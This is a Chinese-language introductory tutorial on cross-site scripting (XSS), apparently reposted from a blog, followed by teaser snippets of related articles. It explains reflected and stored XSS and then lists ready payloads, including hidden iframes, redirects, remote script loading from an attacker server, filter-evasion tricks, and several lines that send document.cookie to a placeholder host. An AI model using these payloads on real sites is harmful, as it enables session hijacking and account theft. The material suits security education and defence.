XSS攻击介绍

一、概念

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,也是web中最主流的攻击方式
是指恶意攻击者利用网站没有多用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中而盗取用户资料

二、XSS攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击

三、常见的攻击类型

反射性
将恶意代码嵌入到链接中,诱惑用户点击,从而执行嵌入的代码,达到获取用户相关信息的目的
原理


例:
某些网站的检索:http://IP/detail.php?resarch=css
嵌入代码为:<script>alert(‘你被攻击了!!’)</script>
非正常检索:http://IP/detail.php?resarch=<script>alert(‘你被攻击了!!’)</script>
将此URL发送给用户,以其他诱惑性的文字引导点击,从而执行攻击代码

储存型
应用最为广泛,而且直接影响服务器的安全。
是将恶意代码通过页面存储服务器,当用户浏览该页面时攻击代码将自动执行,从而盗取用户的某些信息
危害性非常大
原理


在留言板中填写攻击代码:<script>alert(‘你被攻击了!!’)</script>
保存时会保存在服务器中,当用户浏览该页面时,代码会被自动执行

四、构造XSS脚本

常用的html标签

<iframe>   行内框架,创建包含另外一个稳定的内联框架

<textarea>  定义多行文本输入

<img>      网页嵌入图像

<script>   定义客户端脚本

常用JavaScript方法

alert        用于显示带有一条指定消息和一个确认按钮的警告框

window.location    获得当前页面的URL并把浏览器重定向新的页面

location.href    返回当前显示的文档的完整URL

onload        一张页面或图像完成加载

onsubmit      确认按钮被点击执行

onerror      在加载文档或图像时发生错误

构造XSS脚本

弹框警告

当服务器对特殊字符串<>/‘没有做过滤处理时,这个位置存在XSS漏洞

<script>alert(document.cookie)</script> 获得用户cookie

如果服务器对<>/‘进行了过滤处理,还可以使用实体字符进行尝试

> &gt;
< &lt;
" &quot;
& &amp;
&apos; 

页面嵌套

<iframe src="http://www.baidu.com" width="0" height="0"></iframe>    将嵌套的页面设置最小,用户不容易发现

页面重定向

<script>window.location="http://www.baidu.com"</script>

<script>location.href="http://www.baidu.com"</script>

弹窗警告并且重定向

<script>alert("请访问最新域名");location.href="http://IP/xxx/xxx.text"</script>

当访问该链接时执行恶意代码

访问恶意代码

<script>src="http://IP/xss.js"</script>

通常hacker会自己搭建一个服务器,访问时执行xss.js

使用图片标签

<img src="http://IP/xss.js"></img>

绕开过滤的脚本

<ScRiPt>alter(‘xss‘)</SCripT>    绕开大小写的限制

<a href="d3d3LmJhaWR1LmNvbQ==">最新域名</a>    使用字符编码绕开部分限制

获取用户cookie

<script>window.open("http://IP/xxx.php?cookie="+document.cookie)</script>

<script>document.location="http://IP/xxx.php?cookie="+document.cookie</script>

<script>new Image().src="http://IP/xxx.php?cookie="+document.cookie</script>

<img src="‘http://IP/xxx.php?cookie=‘+document.cookie"></img>

<iframe src="‘http://IP/xxx.php?cookie=‘+document.cookie"></iframe>

原文地址:https://www.cnblogs.com/tynam/p/10122150.html

时间: 2024-08-05 09:28:45

XSS攻击介绍的相关文章

第二百六十五节,xss脚本攻击介绍

xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作漏洞的.它允许攻击者绕过安全机 制,通过尝试各种不同的方法插入恶意代码,攻击者可以得到敏感页面的权限,会话,cookies,或者其 他的东西,XSS 分为三类 XSS 分类: 非持久性,持久性和基于 Dom(此类可以是持久的,也可以是不持久的) 非持久性: 非持久性 XSS 也被称为反射

XSS攻击简单介绍

之前由我负责维护的一个项目被检测出存在可能被XSS攻击的漏洞. 吓得我赶紧恶补了下XSS. XSS,全称为Cross Site Script,跨站脚本攻击,是WEB程序中一种常见的漏洞.其主要的攻击手段是在在利用网站上的可由用户输入信息的地方,恶意注入含有攻击性的脚本,达到攻击网站或者窃取用户cookied等隐私信息的目的. XSS漏洞主要分为两种类型,一种是Stored XSS, 另一种是反射型 XSS. 第一种举个简单的例子就是BBS网站,黑客可以利用留言的功能,发表以下内容: <scrip

SQL 注入、XSS 攻击、CSRF 攻击

SQL 注入.XSS 攻击.CSRF 攻击 SQL 注入 什么是 SQL 注入 SQL 注入,顾名思义就是通过注入 SQL 命令来进行攻击,更确切地说攻击者把 SQL 命令插入到 web 表单或请求参数的查询字符串里面提交给服务器,从而让服务器执行编写的恶意的 SQL 命令. 对于 web 开发者来说,SQL 注入已然是非常熟悉的,而且 SQL 注入已经生存了 10 多年,目前已经有很成熟的防范方法,所以目前的 web 应用都很少会存在漏洞允许进行 SQL 注入攻击. 除非是入门开发人员,在开发

防御XSS攻击的七条原则

本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS Attack><DOM Based XSS> 攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它.对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感

WEB安全实战(三)XSS 攻击的防御

前言 上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全漏洞. 由于公司用的是 SpringMVC,因此,这次就主要基于 SpringMVC 来解决这些漏洞.当然,其实这些解决方案都是大同小异,对于什么环境来说根本无所谓.了解了原理,什么环境.什么语言都可以运用自如了.废话就不多说了,直接上解决方案. 解决方案 方案一 方案一主要是利用了 SpringMVC

Spring MVC里面xss攻击的预防

关于xss的介绍可以看 Asp.net安全架构之1:xss(跨站脚本)和 腾讯微博的XSS攻击漏洞 网页, 具体我就讲讲Spring MVC里面的预防: 第一种方法,使用Spring MVC web.xml加上: 1 2 3 4 <context-param> <param-name>defaultHtmlEscape</param-name> <param-value>true</param-value> </context-param&

CSRF攻击 &amp; XSS攻击

之前有几篇文章写了 SQL注入类问题: http://www.cnblogs.com/charlesblc/p/5987951.html (介绍) http://www.cnblogs.com/charlesblc/p/5988919.html (PDO及防御) 以及 http://www.cnblogs.com/charlesblc/p/5989864.html(Java中的防御) 今天收到一个安全工单,关于CSRF攻击的,查资料看了一下. CSRF(Cross-site request fo

使用 PHP 构建的 Web 应用如何避免 XSS 攻击

本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态内容进行编码.以及在服务器端对输入进行检测两方面介绍如何避免恶意的 XSS 攻击. 使用 PHP 构建的 Web 应用如何避免 XSS 攻击 Web 2.0 的发展为网络用户的互动提供了更多机会.用户通过在论坛发表评论,或是在博客发表留言都可能有意或无意输入一些破坏性的内容,从而造成网页不能正常显示

新浪微博XSS攻击事件

http://blog.csdn.net/terryzero/article/details/6575078 6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件.大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博消息和私信,并自动关注一位名为hellosamy的用户. 事件的经过线索如下: 20:14,开始有大量